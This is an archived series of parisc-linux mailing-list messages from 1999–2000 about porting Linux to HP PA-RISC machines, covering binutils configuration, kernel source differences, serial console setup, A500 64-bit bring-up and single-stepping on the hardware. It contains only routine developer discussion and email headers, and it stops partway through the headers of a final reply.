	for <parisc-linux@sod.res.cmu.edu>; Thu, 22 Apr 1999 00:59:56 -0400
Original-Received: (qmail 3227 invoked by uid 15267); 22 Apr 1999 04:58:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3220 invoked from network); 22 Apr 1999 04:58:21 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 22 Apr 1999 04:58:21 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id AAA20628
	for <parisc-linux@thepuffingroup.com>; Thu, 22 Apr 1999 00:59:36 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
Xref: news.gmane.org gmane.linux.ports.parisc:8507


*sigh* finally.  After hacking binutils' configure files, 
./configure --target=parisc-linux --with-gas
actually works.

So, what are the larger problems with binutils?  I know there was talk of
completely redoing the parisc stuff.  

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
PA RISC Linux Porting Team



From - Thu Nov 08 21:14:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: binutils taggart
Date: Sat, 18 Nov 2000 07:08:12 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20001118070812.B30151@parcelfarce.linux.theplanet.co.uk>
References: <200011160016.RAA09669@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619309 6435 80.91.229.3 (22 Nov 2014 01:21:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:49 +0000 (UTC)
Cc: parisc-linux-cvs@puffin.external.hp.com
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Sat Nov 18 00:06:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA30813
	for <parisc-linux@puffin.external.hp.com>; Sat, 18 Nov 2000 00:06:15 -0700
Original-Received: (qmail 4847 invoked by uid 15267); 18 Nov 2000 07:08:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4840 invoked from network); 18 Nov 2000 07:08:23 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 18 Nov 2000 07:08:23 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13x26e-0008QY-00; Sat, 18 Nov 2000 07:08:12 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200011160016.RAA09669@puffin.external.hp.com>; from taggart@puffin.external.hp.com on Wed, Nov 15, 2000 at 05:16:02PM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8508

On Wed, Nov 15, 2000 at 05:16:02PM -0700, Matt Taggart wrote:
> Modified files:
> 	.              : config.guess config.sub 
> 
> Log message:
> New upstream versions from
> http://subversions.gnu.org/cgi-bin/cvsweb/config/
> Now config.guess returns the right thing for hppa-linux

so... we needed new versions anyway, even though we're not parisc-linux..?
:-)  [not bitter, just amused]

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS linux Vs. -test10
Date: Sat, 18 Nov 2000 07:24:54 +0000
Lines: 72
Approved: news@gmane.org
Message-ID: <20001118072454.C30151@parcelfarce.linux.theplanet.co.uk>
References: <E13vj2z-00035b-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619309 6436 80.91.229.3 (22 Nov 2014 01:21:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:49 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: Paul Bame <bame@noam.fc.hp.com>
Original-X-From: willy@www.linux.org.uk  Sat Nov 18 00:36:18 2000
Original-Received: from www.linux.org.uk (IDENT:root@parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA08338
	for <parisc-linux@puffin.external.hp.com>; Sat, 18 Nov 2000 00:36:17 -0700
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13x2Mp-0000DH-00; Sat, 18 Nov 2000 07:24:55 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <E13vj2z-00035b-00@noam.fc.hp.com>; from bame@noam.fc.hp.com on Tue, Nov 14, 2000 at 09:35:01AM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8509

On Tue, Nov 14, 2000 at 09:35:01AM -0700, Paul Bame wrote:
> 
> I've attached an overview of differences between our CVS linux sources

ok, here's my memories.

>      * Lots of RCS $Revision$ differences in ACPI (a different 'cvs
>        import' would've eliminated these differences).

i assume someone's already done the appropriate cvs admin -ko magic
to fix this?

>      * drivers/char/Config.in: changes to support LASI, parisc real-time
>        clock (CONFIG_GENRTC)

istr this was `stolen' from the m68k port by sammy.

>      * drivers/char/serial.c: support for GSC and A500 serial

if they're working, send to Ted and he'll do an update with Linus at
some point.  <tytso@valinux.com>

>      * drivers/net/eepro100.c: no clue about this one

we were trying to get it to work for the Jan NYLWE show.  i doubt we have
any changes of note.  does anyone have an eepro in an hp?

>      * drivers/video: STI and HP FB video drivers (iodccon is probably
>        worthless)

agreed on iodccon.  unless we're using it up until the point that one of
the more advanced consoles takes over?  i don't think we are now.

>      * fs/binfmt_elf.c,exec.c: changes for stack-grows-up?

Yes, that's what they're for.

>      * fs/nfs/read.c: probably unnecessary hack for broken parisc64 gcc

we certainly don't want to send it upstream, but we don't want to take it
out until the bug is fixed.  is fixing that bug on the webshite todo list?

>      * include/linux/binfmts.h,fs.h,kernel.h,tty.h,udf_fs_sb.h:
>        unnecessary differences?

mostly, yes.

>      * include/linux/init.h: we use different section names -- why????,
>        probably some unnecessary other differences too

because we use -ffunction-sections.  text.init clashes with a function called
init, and the linker just merges it into the text segment.  we need it to
be separate, so it became init.text.  there's patches around to do this for
other architectures too.  just bad naming choices initially.

>      * include/linux/wait.h: parisc debugging -- should be removed

yeah, that can die now.

>      * scripts/*: MANY differences here. Looks like a combination of
>        things we hacked to fix configuration problems plus MAYBE not
>        updating these files from new Linux versions in the past. 'make
>        menuconfig' is significantly different from upstream. Even the
>        mkdep.c program is different.

ok.  mea extremely culpa here.  i had an exclude file which included the
scripts/ directory.  someone should now ditch our stuff, take what's in
-test10, hack it till it works for us and check it in.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] serial console ?
Date: Sun, 19 Nov 2000 13:12:25 +0100 (CET)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.30.0011191034280.74407-100000@noc.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619309 6440 80.91.229.3 (22 Nov 2014 01:21:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:49 +0000 (UTC)
To: parisc linux mailing list <parisc-linux@thepuffingroup.com>
Original-X-From: bzeeb+hplinux@zabbadoz.net  Sun Nov 19 05:10:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA27416
	for <parisc-linux@puffin.external.hp.com>; Sun, 19 Nov 2000 05:10:18 -0700
Original-Received: (qmail 24925 invoked by uid 15267); 19 Nov 2000 12:12:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24916 invoked from network); 19 Nov 2000 12:12:28 -0000
Original-Received: from mail.zabbadoz.net (195.2.176.194)
  by mailserv2.iuinc.com with SMTP; 19 Nov 2000 12:12:28 -0000
Original-Received: from localhost (bz@localhost)
	by mail.zabbadoz.net (8.11.0/8.11.0) with ESMTP id eAJCCQL61858
	for <parisc-linux@thepuffingroup.com>; Sun, 19 Nov 2000 13:12:26 +0100 (CET)
X-Sender: <bz@noc.zabbadoz.net>
Xref: news.gmane.org gmane.linux.ports.parisc:8510

Hi,

I just started booting into a 715-100 using palinux-0.5.iso.

I did read multiple times that I need serial console. So I plugged in
serial cable I an normally using for x86 to x86 serial console on my
linux router but I did not get anything on both serial ports :-(

What information would one need to help ?

personal contact is prefered. I would then sum up all information I
got and post it to the list afterwards (if desired).

Have to say: I am 'new' to those workstation and had to hoover it
first after I got it ;)

I also could have a 735-99 with some kind of graphic accelerator if
that one would be better.

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/




From - Thu Nov 08 21:14:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial console ?
Date: Sun, 19 Nov 2000 17:06:11 +0100 (CET)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.30.0011191656290.74407-100000@noc.zabbadoz.net>
References: <Pine.BSF.4.30.0011191034280.74407-100000@noc.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619310 6441 80.91.229.3 (22 Nov 2014 01:21:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:50 +0000 (UTC)
Cc: parisc linux mailing list <parisc-linux@thepuffingroup.com>
Original-X-From: bz@zabbadoz.net  Sun Nov 19 09:04:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA28722
	for <parisc-linux@puffin.external.hp.com>; Sun, 19 Nov 2000 09:04:03 -0700
Original-Received: (qmail 24181 invoked by uid 15267); 19 Nov 2000 16:06:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24168 invoked from network); 19 Nov 2000 16:06:13 -0000
Original-Received: from mail.zabbadoz.net (195.2.176.194)
  by mailserv2.iuinc.com with SMTP; 19 Nov 2000 16:06:13 -0000
Original-Received: from localhost (bz@localhost)
	by mail.zabbadoz.net (8.11.0/8.11.0) with ESMTP id eAJG6Cr67939
	for <parisc-linux@thepuffingroup.com>; Sun, 19 Nov 2000 17:06:12 +0100 (CET)
X-Sender: <bz@noc.zabbadoz.net>
In-Reply-To: <Pine.BSF.4.30.0011191034280.74407-100000@noc.zabbadoz.net>
Xref: news.gmane.org gmane.linux.ports.parisc:8511

On Sun, 19 Nov 2000, Bjoern A. Zeeb wrote:

> I just started booting into a 715-100 using palinux-0.5.iso.
>
> I did read multiple times that I need serial console. So I plugged in
> serial cable I an normally using for x86 to x86 serial console on my
> linux router but I did not get anything on both serial ports :-(

Hi,

sorted out everything. serial cable was quite ok, but using cu I was
never able to reach IPL. Using minicom and everything was fine.

Had a great success afterwards:

	installed from CD (palinux-0.5.iso)
	Everthing worked at once out of the box :-)
	openssh was enabled on default :-))

	only one bad touch: please do not enable portmapper on default.
	there are too much exploits out there these days.


Short:	Great great great work !!!


-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/


From - Thu Nov 08 21:14:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dhazeghi@pacbell.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc-latest tarball broken
Date: Sun, 19 Nov 2000 09:24:56 -0800
Lines: 8
Approved: news@gmane.org
Message-ID: <3A180CE8.4495E842@pacbell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619310 6444 80.91.229.3 (22 Nov 2014 01:21:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:50 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhazeghi@pacbell.net  Sun Nov 19 10:24:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA29871
	for <parisc-linux@puffin.external.hp.com>; Sun, 19 Nov 2000 10:23:58 -0700
Original-Received: (qmail 13157 invoked by uid 15267); 19 Nov 2000 17:26:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13148 invoked from network); 19 Nov 2000 17:26:09 -0000
Original-Received: from mta5.snfc21.pbi.net (206.13.28.241)
  by mailserv2.iuinc.com with SMTP; 19 Nov 2000 17:26:09 -0000
Original-Received: from pacbell.net ([63.197.150.190])
 by mta5.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9)
 with ESMTP id <0G4A002R38BF1N@mta5.snfc21.pbi.net> for
 parisc-linux@thepuffingroup.com; Sun, 19 Nov 2000 09:23:39 -0800 (PST)
Original-Sender: dara@mta5.snfc21.pbi.net
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-3smp i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8512

the glibc-latest tarball on pehc appears to be missing some important
subdirectories like scripts and sysdeps. Perhaps a legacy of the 2.2
merge?

Thanks,

Dara Hazeghi


From - Thu Nov 08 21:14:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Matthaes <imatthae@grc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A500 and glibc woes
Date: Sun, 19 Nov 2000 19:35:57 +0100
Lines: 54
Approved: news@gmane.org
Message-ID: <20001119193557.A8796@grccd310.grc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619310 6449 80.91.229.3 (22 Nov 2014 01:21:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:50 +0000 (UTC)
To: lrisc-Linux <parisc-linux@thepuffingroup.com>
Original-X-From: imatthae@grc.hp.com  Sun Nov 19 11:33:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA30755
	for <parisc-linux@puffin.external.hp.com>; Sun, 19 Nov 2000 11:33:50 -0700
Original-Received: (qmail 27700 invoked by uid 15267); 19 Nov 2000 18:36:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27692 invoked from network); 19 Nov 2000 18:36:00 -0000
Original-Received: from bbnrel4.net.external.hp.com (155.208.254.68)
  by mailserv2.iuinc.com with SMTP; 19 Nov 2000 18:36:00 -0000
Original-Received: from hpugrca.grc.hp.com (hpugrca.grc.hp.com [15.137.20.50])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 5782E1EC33
	for <parisc-linux@thepuffingroup.com>; Sun, 19 Nov 2000 19:35:59 +0100 (MET)
Original-Received: from trillian.grc.hp.com (grccd310.grc.hp.com [15.139.202.109]) by hpugrca.grc.hp.com with ESMTP (8.8.6 (sendmail_886_v2)/8.7.3 SMKit7.01) id TAA17110 for <parisc-linux@thepuffingroup.com>; Sun, 19 Nov 2000 19:35:57 +0100 (MET)
Original-Received: from marvin by trillian.grc.hp.com with local (Exim 3.16 #1 (Debian))
	id 13xZJl-00057Y-00
	for <parisc-linux@thepuffingroup.com>; Sun, 19 Nov 2000 19:35:57 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:8513

finally we've got a A500 for palinux testing. Unfortunately
we have some problems with it.
A 32 bit kernel complains about a very old firmware and claims
"that machine will probably never run linux"  But in fact, it 
will :-)
First question: Did anyone ever succeeded with a 32bit kernel
on that hardware ?

A 64 bit Kernel boots fine and recognizes all available hardware 
including the additional 100BT card. But it traps with the init
which comes with the latest nfsroot tarball. I built a new one
from the sourcesw of debians sysvlinux-2.78 and it does not trap
anymore, but the kernel told me about unimplemented 32 syscalls.
At this point I tried to build a 64 bit glibc in order to get
a crt1.o , which is needed to builf for a 64bit init.

Did anyone ever build a 64bit glibc out of the current cvs tree ?
Today I've got 


ologue/epilogue insn

(insn 433 431 435 (set (reg:DI 26 %r26)
        (reg:DI 2 %r2)) -1 (nil)
    (nil))
../sysdeps/unix/sysv/linux/init-first.c:105: Unrecognizable insn:

(insn 440 438 441 (set (reg:DI 24 %r24)
        (lo_sum:DI (reg:DI 1 %r1)
            (symbol_ref:DI ("LP$-001")))) -1 (insn_list 437 (nil))
    (expr_list:REG_DEAD (reg:DI 1 %r1)
        (expr_list:REG_UNUSED (reg:DI 24 %r24)
            (nil))))
../sysdeps/unix/sysv/linux/init-first.c:105: Internal compiler error in num_delay_slots, at insn-attrtab.c:2505

Thats the point I'm currently stucking.

BTW If someone involved into the port with access to the internal HP 
    Network needs access to that machine, please contact me.

Later
     Ingo

-- 
Tel: ++49-2102-908-210              German Response Center
Fax: ++49-2102-907-934              Berliner Str. 111
Mailto: Ingo_Matthaes@hp.com        40880 Ratingen
                                    Germany

HP Unix/Linux Competency Center
Network and High AvailabilitY

OpenPGP fingerprint = 4298E7785FFD65DC8950 14E9F17F8CB5B611AA4A


From - Thu Nov 08 21:14:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Single-stepping
Date: Mon, 20 Nov 2000 14:03:16 +1100 (EST)
Lines: 44
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011201317160.15391-100000@front.linuxcare.com.au>
References: <200011160901.CAA00367@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619311 6452 80.91.229.3 (22 Nov 2014 01:21:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Sun Nov 19 20:03:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA02369
	for <parisc-linux@puffin.external.hp.com>; Sun, 19 Nov 2000 20:03:18 -0700
Original-Received: (qmail 32116 invoked by uid 15267); 20 Nov 2000 03:05:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32069 invoked from network); 20 Nov 2000 03:05:23 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 20 Nov 2000 03:05:23 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA22272;
	Mon, 20 Nov 2000 14:03:16 +1100
In-Reply-To: <200011160901.CAA00367@udlkern.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8514

On Thu, 16 Nov 2000, John Marvin wrote:

> Anyway, for reference, HP-UX does single stepping by using a combination
> of the taken branch trap, and loading the instruction queues such that the
> front of the queue points to the next instruction to be single stepped and
> the back of the queue points to the first of two break instructions on a
> "break" page.  It does NOT insert break instructions into the code, so it
> does not adversely affect execution on a SMP machine.  Note that we
> already put a bunch of break instructions before the syscall entry point
> on the gateway page, so it would be easy to use our gateway page for the
> "break page".  This way, if the single stepped instruction branches, a
> taken branch trap will be taken (which is important in the case where the
> branch nullifies its delay slot).  Otherwise, the instruction will be
> executed and then the break instruction at the known location on the
> "break" page will be executed.  If the single stepped instruction
> nullifies the next instruction, the second break instruction on the
> "break" page will be executed.

This is the path I started out on for hppa-linux, then hit the problem of
a branch that nullifies it's delay slot.  At that point, I decided playing
with IAOQ_back wouldn't work as I missed the solution of enabling taken
branch traps. :-(  If I'd seen this trick, then I would not have tried
using the recovery counter, and even now, it may be better to go back to
IAOQ fiddling.  The recovery counter scheme has the disadvantage that
there's only one of them so you need to save/restore over task swaps or
introduce extra instructions in the syscall path - and be very careful.

> Note that this is the short explanation. It is not as simple as it sounds.
> One major complication is that branches with links don't work properly
> with the instruction queue magic, so the link register has to be updated
> in the taken branch trap handler. Also branch externals won't update
> the space of the space queue tail properly (again, that has to be fixed
> in the taken branch handler). I can provide more details if the recovery
> counter method doesn't work out.

I'm a little intrigued about these "complications".  How can the link
register or space _not_ be updated properly?  As far as I can see, the
only really tricky instruction to single-step is RFI - which shouldn't 
ever occur in userspace, and which we'd just emulate if it was important.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Single-stepping
Date: Sun, 19 Nov 2000 22:43:02 -0700 (MST)
Lines: 35
Approved: news@gmane.org
Message-ID: <200011200543.WAA23694@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619311 6454 80.91.229.3 (22 Nov 2014 01:21:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:51 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: jsm@udlkern.fc.hp.com  Sun Nov 19 22:42:05 2000
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id WAA03547
	for <parisc-linux@puffin.external.hp.com>; Sun, 19 Nov 2000 22:42:05 -0700
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel2.hp.com (Postfix) with ESMTP id EC50B157
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 00:44:16 -0500 (EST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id WAA23694 for parisc-linux@puffin.external.hp.com; Sun, 19 Nov 2000 22:43:02 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:8515

> > Note that this is the short explanation. It is not as simple as it sounds.
> > One major complication is that branches with links don't work properly
> > with the instruction queue magic, so the link register has to be updated
> > in the taken branch trap handler. Also branch externals won't update
> > the space of the space queue tail properly (again, that has to be fixed
> > in the taken branch handler). I can provide more details if the recovery
> > counter method doesn't work out.
>
> I'm a little intrigued about these "complications".  How can the link
> register or space _not_ be updated properly?  As far as I can see, the
> only really tricky instruction to single-step is RFI - which shouldn't
> ever occur in userspace, and which we'd just emulate if it was important.

The problem is that the link register is set to IAOQ_Back + 4. and in
the case of ble, sr0 is set to IASQ_Back. Since we've played games with
the queues, IAOQ_Back and IASQ_Back are pointing at the break page, not
at the instruction following the branch.

The additional complication is that the taken branch trap traps at the
branch destination, not at the branch, so at the point of the trap you
don't know where you came from in order to fix the problem easily.  So,
what HP-UX does is check each instruction before it executes it to see if
it is a branch, and if so, what the link register is (and that is all that
needs to be parsed, since we are not emulating the instruction).  It then
stores the branch location, and also sets some branch state flags (e.g.
UBE for a branch external, and UBL for a branch with a link, both flags
being set for a ble instruction).  Then in the taken branch handler you
have all the information you need to fix the queue.  You also need
to check this saved state if a signal handler is invoked while single
stepping, so that the proper pc queue values can be saved in the signal
context.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:14:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: A500 and glibc woes
Date: Sun, 19 Nov 2000 23:01:20 -0700 (MST)
Lines: 45
Approved: news@gmane.org
Message-ID: <200011200601.XAA24123@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619311 6457 80.91.229.3 (22 Nov 2014 01:21:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:51 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: jsm@udlkern.fc.hp.com  Sun Nov 19 23:00:23 2000
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA04119
	for <parisc-linux@puffin.external.hp.com>; Sun, 19 Nov 2000 23:00:23 -0700
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by palrel1.hp.com (Postfix) with ESMTP id C967FEC0
	for <parisc-linux@puffin.external.hp.com>; Sun, 19 Nov 2000 22:02:33 -0800 (PST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id XAA24123 for parisc-linux@puffin.external.hp.com; Sun, 19 Nov 2000 23:01:20 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:8516


Ingo,

>
> finally we've got a A500 for palinux testing. Unfortunately
> we have some problems with it.
> A 32 bit kernel complains about a very old firmware and claims
> "that machine will probably never run linux"  But in fact, it
> will :-)

Actually, there are no plans to ever support the A500 on a 32 bit
kernel. The A500 only has 64 bit firmware, so in order to support
it we would need to write a 32->64 bit firmware translation layer.

...

> A 64 bit Kernel boots fine and recognizes all available hardware
> including the additional 100BT card. But it traps with the init
> which comes with the latest nfsroot tarball. I built a new one
> from the sourcesw of debians sysvlinux-2.78 and it does not trap
> anymore, but the kernel told me about unimplemented 32 syscalls.
> At this point I tried to build a 64 bit glibc in order to get
> a crt1.o , which is needed to builf for a 64bit init.
>

Well, it might seem crazy, but our short term plans do not include
supporting a 64 bit user environment on the 64 bit kernel.  Long term I
believe this will happen, but as you have already seen, work needs to be
done to support 64 bit glibc, shared libraries, etc.

So, in order to get the A500 to boot, we need to support the 32 bit user
environment on a 64 bit kernel.  We've only recently gotten to the point
where the 64 bit kernel gets far enough to start running user space
applications.  The problem is that we need to write translations for many
system calls, since type sizes (and the structures those types are in) are
different between 32 bit and 64 bit (the ugliest case is the ioctl system
call).

In summary, the A500 currently won't work, but since it is one of the
machines that HP has targetted for Linux support, you can be sure that
this will change fairly soon.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:14:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A500 and glibc woes
Date: Sun, 19 Nov 2000 22:47:27 -0800
Lines: 113
Approved: news@gmane.org
Message-ID: <200011200647.WAA18137@milano.cup.hp.com>
References: <20001119193557.A8796@grccd310.grc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619312 6458 80.91.229.3 (22 Nov 2014 01:21:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:52 +0000 (UTC)
Cc: Parisc-Linux <parisc-linux@puffin.external.hp.com>
To: Ingo Matthaes <imatthae@grc.hp.com>
Original-X-From: grundler@cup.hp.com  Sun Nov 19 23:46:31 2000
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
